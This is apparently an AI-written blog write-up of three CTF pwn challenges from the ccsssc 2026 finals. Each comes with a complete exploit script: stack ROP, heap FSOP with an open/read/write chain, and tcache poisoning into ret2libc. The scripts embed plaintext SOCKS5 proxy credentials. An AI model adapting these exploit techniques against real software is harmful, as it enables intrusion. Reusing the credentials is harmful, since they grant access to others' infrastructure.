ccsssc-2026-决赛

ccsssc-2026-决赛

InkeyP Lv3

ccsssc-2026-决赛

Attention! AI写的wp

DungeonLover

题目外面套了一个 proxy,但真正被打的是后面的 pwn。exp 里本地加载的也是 ./pwn,远程才通过 SOCKS5 连到代理转发出来的服务。

保护和入口

主程序保护比较直接:no PIE、no canary、NX 开。没有栈 canary,且程序基址固定,所以只要有栈上写原语,就可以直接往返回地址处铺 ROP。

开局需要先走一段剧情输入:

1
2
sla(b'> ', b'5201314')
sla(b': ', b'03070203')

之后菜单 6 对应 Desperate Strike,会把 puts 地址以十六进制打印出来:

1
2
3
sla(b'> ', b'6')
ru('[ 崩塌边界上残留的刻痕 ] '.encode())
libc_base = int(rl()[:-1], 16) - libc.sym.puts

这里拿到 puts 泄露以后,直接减 libc.sym.puts 得到 libc_base,后续 system/bin/sh、gadget 都从同一份 libc 里取。

漏洞点

关键点在 do_use_item 一类的使用道具逻辑。菜单 5 读入 Select a Fate EngravingSoul Weight to Offer,下标检查只限制在 0..0x16 这种范围内,但实际写入时是按 base + idx * 4 往栈上写 4 字节。

exp 里把写接口封成:

1
2
3
4
def use(off, byte):
sla(b'> ', b'5')
sla(b'Select a Fate Engraving:', str(off // 4))
sla(b'Soul Weight to Offer:', str(byte))

再从偏移 0x38 开始分 4 字节写 payload:

1
2
3
def wr(payload):
for i in range(0, len(payload), 4):
use(i + 0x38, u32_ex(payload[i : i + 4]))

也就是说,0x38 正好打到保存返回地址附近,之后每次 idx * 4 写一个 dword,就能拼完整 ROP 链。

利用链

泄露 libc 后,链子非常短:

1
2
wr(flat([CG.ret(), CG.pop_rdi_ret(), CG.bin_sh(), libc.sym.system]))
sla(b'> ', b'0')

ret 用来对齐栈,pop rdi; ret"/bin/sh" 放进 rdi,最后跳 system。菜单 0 退出当前流程触发函数返回,执行栈上的 ROP。

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0


def remote_via_socks5(host, port):
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, "5.dart.ccsssc.com", 27070, username="y851gxp1", password="qblmydcu")
s.connect((host, port))
return remote.fromsocket(s)


gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = '192.0.100.2 9999'
ip, port = re.split(r'[\s:]+', addr)
# gift.io = remote(ip, port)
gift.io = remote_via_socks5('192.0.100.2', 9999)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
b *0x401920
c
'''
launch_gdb(cmd)
if local_flag != "remote":
gift.io = remote('127.0.0.1', 9999)


def use(off, byte):
sla(b'> ', b'5')
sla(b'Select a Fate Engraving:', str(off // 4))
sla(b'Soul Weight to Offer:', str(byte))


def wr(payload):
for i in range(0, len(payload), 4):
use(i + 0x38, u32_ex(payload[i : i + 4]))


sla(b'> ', b'5201314')
sla(b': ', b'03070203')

sla(b'> ', b'6')
ru('[ 崩塌边界上残留的刻痕 ] '.encode())
libc_base = int(rl()[:-1], 16) - libc.sym.puts
set_current_libc_base_and_log(libc_base)

CG.set_find_area(0, 1)
wr(flat([CG.ret(), CG.pop_rdi_ret(), CG.bin_sh(), libc.sym.system]))

sla(b'> ', b'0')


ia()

StudentManagement

学生管理系统是典型的结构体加链表题。外层有注册、登录、删除;登录后能看 bio、改 bio、退出登录。核心利用点不是单个越界写,而是删除用户时释放 studentbio,后续通过重新分配 bio 控制堆布局,最终把可控写转到 libc 上的 _IO_2_1_stdout_,再用 FSOP 组织一次 ORW。

结构和功能

从交互和 exp 可以看出,学生节点大致包含这些字段:

  • id
  • name
  • password
  • bio 指针
  • bio_size
  • 链表指针

注册 reg 会创建学生节点并挂进链表:

1
2
3
4
5
6
7
def reg(id, usr=b'inkey', pwd=b'inkey'):
sla(b'\n1.Reg 2.Login 3.Del 0.Exit\n> ', b'1')
if isinstance(id, int):
id = str(id)
sa(b'ID: ', id)
sa(b'Name: ', usr)
sa(b'Pass: ', pwd)

登录后可以 ViewEditBioedit 会重新设置 bio 大小并写入内容:

1
2
3
4
5
6
7
def edit(id, size, data, pass1=1):
login(id)
sla(b'\n1.View 2.EditBio 0.Logout\n> ', b'2')
sla(b'\nNew bio size: ', str(size))
sa(b'Content: ', data)
if pass1:
logout()

删除 dele 会把对应学生删掉,释放 student 结构和 bio。漏洞利用依赖这些释放后的堆块被后续 bio 申请复用,从而把结构体字段和 bio 内容布到同一片可控区域附近。

堆布局和 libc 泄露

第一阶段先批量注册学生,制造稳定的堆布局:

1
2
3
4
5
6
stg1 = 10
for i in range(stg1 + 7):
reg(i)
for i in range(7):
edit(i, 0xD0, b'a')
reg(114)

接着删除前 10 个学生,让对应 student/bio 进入 tcache 或 unsorted 相关布局,再对后面的学生批量申请 0xD00x1980x400 等不同尺寸的 bio,构造可控重叠和可泄露块:

1
2
3
4
5
6
7
8
9
10
11
12
for i in range(stg1):
dele(i)

for i in range(7):
edit(i + stg1, 0xD0, b'a')

edit(114, 0xD0, b'a')

for i in range(7):
edit(i + stg1, 0x198, b'a')

edit(114, 0x400, b'a')

后面注册 0x100..0x106,再注册 115,通过 view(115) 读出 libc 指针:

1
2
3
4
5
for i in range(7):
reg(0x100 + i)
edit(0x100, 0x60, b'a')
reg(115)
libc_base = u64_ex(view(115)) - 0x203BD0

这里泄露值落在 libc 内部,减固定偏移得到 libc_base

改 bio 指针到 stdout

拿到 libc 后,利用堆布局把某个学生的 bio 指针改到 _IO_2_1_stdout_

1
2
3
edit(0x101, 0x88, b'\x00' * 0x70 + p64(libc.sym._IO_2_1_stdout_) + p64(0x108))
edit(0x101, 0x198, b'a')
reg(116)

这样之后编辑 116 的 bio,实际就是往 stdout 的 _IO_FILE 结构写。题目没有直接给栈写,但 stdout FSOP 可以把一次普通输入/输出路径变成受控读写,再把 ORW ROP 链布到合适位置。

最后打house of some2

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0


def remote_via_socks5(host, port):
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, "10.dart.ccsssc.com", 27062, username="x6z9e68m", password="zmyv4igk")
s.connect((host, port))
return remote.fromsocket(s)


gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = '192.0.100.2 9999'
ip, port = re.split(r'[\s:]+', addr)
# gift.io = remote(ip, port)
gift.io = remote_via_socks5('192.0.100.2', 9999)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()


def reg(id, usr=b'inkey', pwd=b'inkey'):
sla(b'\n1.Reg 2.Login 3.Del 0.Exit\n> ', b'1')
if isinstance(id, int):
id = str(id)
sa(b'ID: ', id)
sa(b'Name: ', usr)
sa(b'Pass: ', pwd)


def login(id, pwd=b'inkey'):
sla(b'\n1.Reg 2.Login 3.Del 0.Exit\n> ', b'2')
if isinstance(id, int):
id = str(id)
sa(b'ID: ', id)
sa(b'Pass: ', pwd)


def view(id):
login(id)
sla(b'\n1.View 2.EditBio 0.Logout\n> ', b'1')
ru(b'Bio: ')
ret = ru(b'\n', drop=1)
logout()
return ret


def edit(id, size, data, pass1=1):
login(id)
sla(b'\n1.View 2.EditBio 0.Logout\n> ', b'2')
sla(b'\nNew bio size: ', str(size))
sa(b'Content: ', data)
if pass1:
logout()


def logout():
sla(b'\n1.View 2.EditBio 0.Logout\n> ', b'0')


def dele(id):
sla(b'\n1.Reg 2.Login 3.Del 0.Exit\n> ', b'3')
if isinstance(id, int):
id = str(id)
sa(b'ID', id)


cmd = '''
brva 0x13B9
brva 0x1635
brva 0x1763
brva 0x19D7

brva 0x16E1
brva 0x1713
ida
c
'''
stg1 = 10
for i in range(stg1 + 7):
reg(i)
for i in range(7):
edit(i, 0xD0, b'a')
reg(114)

for i in range(stg1):
dele(i)

for i in range(7):
edit(i + stg1, 0xD0, b'a')

edit(114, 0xD0, b'a')

for i in range(7):
edit(i + stg1, 0x198, b'a')

edit(114, 0x400, b'a')

for i in range(7):
reg(0x100 + i)
edit(0x100, 0x60, b'a')
reg(115)
libc_base = u64_ex(view(115)) - 0x203BD0
set_current_libc_base_and_log(libc_base)

edit(0x101, 0x88, b'\x00' * 0x70 + p64(libc.sym._IO_2_1_stdout_) + p64(0x108))
edit(0x101, 0x198, b'a')
reg(116)
_IO_wfile_jumps_maybe_mmap = libc.sym._IO_wfile_jumps + 0x150
_IO_str_jumps = libc.sym._IO_file_jumps + 0x540
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = libc.sym._IO_2_1_stdout_
payload = flat(
{
0x0: 0x8000, # disable lock
0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0x70: 0, # _fileno
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
0xC0: p32(0xFFFFFFFF), # _mode < 0
0xD8: _IO_wfile_jumps_maybe_mmap - 0x18,
},
filler=b"\x00",
)
launch_gdb(cmd)
edit(116, len(payload) + 1, payload, pass1=0)

# 拷贝栈上数据到可控地址,这里拷贝到_IO_2_1_stdout_的上方,方便下次写入顺便完成fp第三次控制
s(
flat(
{
0x8: libc.symbols["_IO_2_1_stdout_"], # 需要可写地址
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
0xC0: p32(0xFFFFFFFF),
0xD8: _IO_default_xsputn - 0x90, # vtable
0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1C8, # _IO_write_ptr
0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end
0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
},
filler=b"\x00",
)
)

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
r13 = CG.find_gadget("415DC3", find_type="opcode")
mov_rdx_r13_pop4 = libc_base + 0xB00F7 # mov rdx, r13; pop rbx; pop rbp; pop r12; pop r13; ret
rop_payload = flat([rdi, u64_ex(b'/flag'), rdi, libc.sym._IO_list_all + 0x8, rsi, 0, libc.sym.open])
rop_payload += flat([rdi, 3, rsi, libc.sym.environ, r13, 0x100, mov_rdx_r13_pop4, 0, 0, 0, 0, libc.sym.read])
rop_payload += flat([rdi, 1, rsi, libc.sym.environ, r13, 0x100, libc.sym.write])

# 最后这里就可以劫持执行流到0xdeadbeaf了 ret_addr = _IO_list_all
s(
flat(
{
0: rop_payload,
(0x1C8 - 0xC8): {
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
0xC0: p32(0xFFFFFFFF),
0xD8: _IO_default_xsgetn - 0x90, # vtable
0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1C8, # _IO_read_ptr
0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1C8 - 0xC8), # _IO_read_end
0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
},
},
filler=b"\x00",
)
)

ia()

fix

通防

traditional

这题表面是普通菜单堆题,但所有菜单输入都要先过自定义 base64 编码。exp 里没有直接发送 1/2/3/4/5/7,而是统一通过 b64en 转换后再发。

漏洞在free,触发特殊free会uaf(特殊free会把删除后的槽位后面的chunk记录都往前搬,但不清除最后一个)

自定义 base64

编码逻辑是标准 base64 之后换表。标准表:

1
old_table = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='

题目表:

1
new_table = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='

所以所有菜单、index、size、content 都要这样编码:

1
2
3
4
5
6
7
8
9
10
11
def b64en(s):
if isinstance(s, str):
s = s.encode()
s1 = b64encode(s)
new_table = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
old_table = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
s2 = b''
for i in range(len(s1)):
o = old_table.find(s1[i : i + 1])
s2 += new_table[o : o + 1]
return s2

菜单和隐藏 copy

程序用 chunk_manage_array 管理 chunk 指针和 size,常规菜单有 add/edit/show/delete/exit。隐藏菜单 7.copy 能从一个 chunk 拷贝到另一个 chunk:

1
2
3
4
5
def ccopy(idx1, idx2, size):
sla(b'choice: ', b64en(b'7'))
sl(b64en(str(idx1)))
sl(b64en(str(idx2)))
sl(b64en(str(size)))

最终 exp 没有大量依赖 copy,但这个功能能辅助把已有内容搬到目标 chunk,是题面里明显给利用准备的隐藏能力。

heap 泄露和 safe-linking

先申请一个小块和一批 0x280,再用异常 index 删除:

1
2
3
4
5
6
7
add(0, 0x20)
for i in range(1, 0x10):
add(i, 0x280)
dele(0x0 | 0x90)
dele(0xE)
show(0xF)
heap_base = (u64_ex(r(5)) - 0x2) << 12

这里 show(0xF) 读到的是 safe-linking 保护后的堆指针片段,按 glibc safe-linking 的形态还原出 heap_base。后面 tcache poisoning 写 fd 时都用 protect_ptr 重新编码目标地址。

tcache poisoning 到 tcache_perthread_struct

泄露 heap 后,把某个 0x280 tcache bin 的 fd 改到 heap_base + 0x10,也就是 tcache_perthread_struct 附近:

1
2
3
4
5
6
add(0xE, 0x280)
dele(0x1)
dele(0xE)
edit(0xF, p64(protect_ptr(heap_base + 0x2720, heap_base + 0x10)))
add(0xE, 0x280)
add(0x1, 0x280)

随后编辑拿到的伪造 chunk,直接构造 tcache_perthread_struct 的 counts 和 entries,让指定 size 的申请返回任意地址:

1
edit(0x1, p16(0x6) * 39 + p16(0x0) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(heap_base + 0xD80))

libc 和 stack 泄露

先让 0x2A0 申请落到可泄露的 libc 链表指针上:

1
2
3
4
dele(0x4)
add(0x2, 0x2A0)
show(0x2)
libc_base = u64_ex(r(6)) - 0x233DA0

再把 tcache_perthread_struct 里的 entry 改到 libc_base + 0x2346E0,也就是能拿到 environ 一类栈指针的位置:

1
2
3
4
5
add(0x3, 0x290)
edit(0x3, p16(0x6) * 39 + p16(0x6) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(libc_base + 0x2346E0))
add(0x4, 0x2A0)
show(0x4)
stack = u64_ex(r(6)) - 0x130

拿到栈地址后,再次伪造 tcache entry 到 stack - 8

覆盖返回地址

最后让 add(0x6, 0x2A0) 返回到栈上返回地址附近,写入普通 ret2libc:

1
2
edit(0x6, flat([0, ret, rdi, sh, libc.sym.system]))
exit_()

退出菜单时函数返回,执行 ret; pop rdi; "/bin/sh"; system,拿 shell。

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
from pwncli import *
from base64 import *
from typing import Union

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0


def remote_via_socks5(host, port):
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, "4.dart.ccsssc.com", 26965, username="0j8v62mj", password="5c3sptox")
s.connect((host, port))
return remote.fromsocket(s)


gift.elf = ELF(elf_path := './traditional')
if local_flag == "remote":
addr = '192.0.100.2 9999'
ip, port = re.split(r'[\s:]+', addr)
# gift.io = remote(ip, port)
gift.io = remote_via_socks5('192.0.100.2', 8888)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()


def b64en(s):
if isinstance(s, str):
s = s.encode()
s1 = b64encode(s)
new_table = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
old_table = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
# s1 = s1.replace(old_table, new_table)
s2 = b''
for i in range(len(s1)):
o = old_table.find(s1[i : i + 1])
s2 += new_table[o : o + 1]
return s2


def add(idx, size):
sla(b'choice: ', b64en(b'1'))
sl(b64en(str(size)))
sl(b64en(str(idx)))


def edit(idx, data):
sla(b'choice: ', b64en(b'2'))
sl(b64en(str(idx)))
sl(b64en(data))


def show(idx):
sla(b'choice: ', b64en(b'3'))
sl(b64en(str(idx)))


def dele(idx):
sla(b'choice: ', b64en(b'4'))
sl(b64en(str(idx)))


def exit_():
sla(b'choice: ', b64en(b'5'))


def ccopy(idx1, idx2, size):
sla(b'choice: ', b64en(b'7'))
sl(b64en(str(idx1)))
sl(b64en(str(idx2)))
sl(b64en(str(size)))


def fake_tcache(size_info):
TCACHE_MAX_BINS = 72
counts = bytearray(TCACHE_MAX_BINS * 2)
entries = bytearray(TCACHE_MAX_BINS * 8)

for size, (count, address) in size_info.items():
assert count <= 7
count = 7 - count
print(f'{size} {count}')
bin_index = (size >> 4) - 2
if 0 <= bin_index < TCACHE_MAX_BINS:
counts[bin_index * 2] = count
addr_bytes = struct.pack('<Q', address)
entries[bin_index * 8 : bin_index * 8 + 8] = addr_bytes

tcache_struct = counts + entries
return tcache_struct


cmd = '''
brva 0x1F9D
brva 0x261F
brva 0x2A96
brva 0x2E5A
ida
set $h = &chunk_manage_array

brva 0x3ACE
set resolve-heap-via-heuristic force
c
'''
add(0, 0x20)
for i in range(1, 0x10):
add(i, 0x280)
dele(0x0 | 0x90)
dele(0xE)
show(0xF)
heap_base = (u64_ex(r(5)) - 0x2) << 12
log_heap_base_addr(heap_base)

add(0xE, 0x280)
dele(0x1)
dele(0xE)
edit(0xF, p64(protect_ptr(heap_base + 0x2720, heap_base + 0x10)))
add(0xE, 0x280)
add(0x1, 0x280)
dele(0x2)
dele(0x3)
edit(0x1, p16(0x6) * 39 + p16(0x0) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(heap_base + 0xD80)) # 0x290
dele(0x4)
add(0x2, 0x2A0)
show(0x2)
libc_base = u64_ex(r(6)) - 0x233DA0
set_current_libc_base_and_log(libc_base)
add(0x3, 0x290)
edit(0x3, p16(0x6) * 39 + p16(0x6) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(libc_base + 0x2346E0))
add(0x4, 0x2A0)
show(0x4)
stack = u64_ex(r(6)) - 0x130
leak_ex2(stack)
dele(0x5)
dele(0x6)
dele(0x7)
add(0x5, 0x290)
edit(0x5, p16(0x6) * 39 + p16(0x6) + p16(0x6) * 36 + p64(0) * 0x28 + p64(heap_base + 0x10) + p64(stack - 8))
add(0x6, 0x2A0)
CG.set_find_area(0, 1)
rdi = CG.pop_rdi_ret()
sh = CG.bin_sh()
ret = CG.ret()
edit(0x6, flat([0, ret, rdi, sh, libc.sym.system]))
launch_gdb(cmd)
exit_()

ia()
  • 标题: ccsssc-2026-决赛
  • 作者: InkeyP
  • 创建于 : 2026-05-26 08:16:10
  • 更新于 : 2026-05-26 09:39:28
  • 链接: https://blog.inkey.top/202605/26/ccsssc-2026-决赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论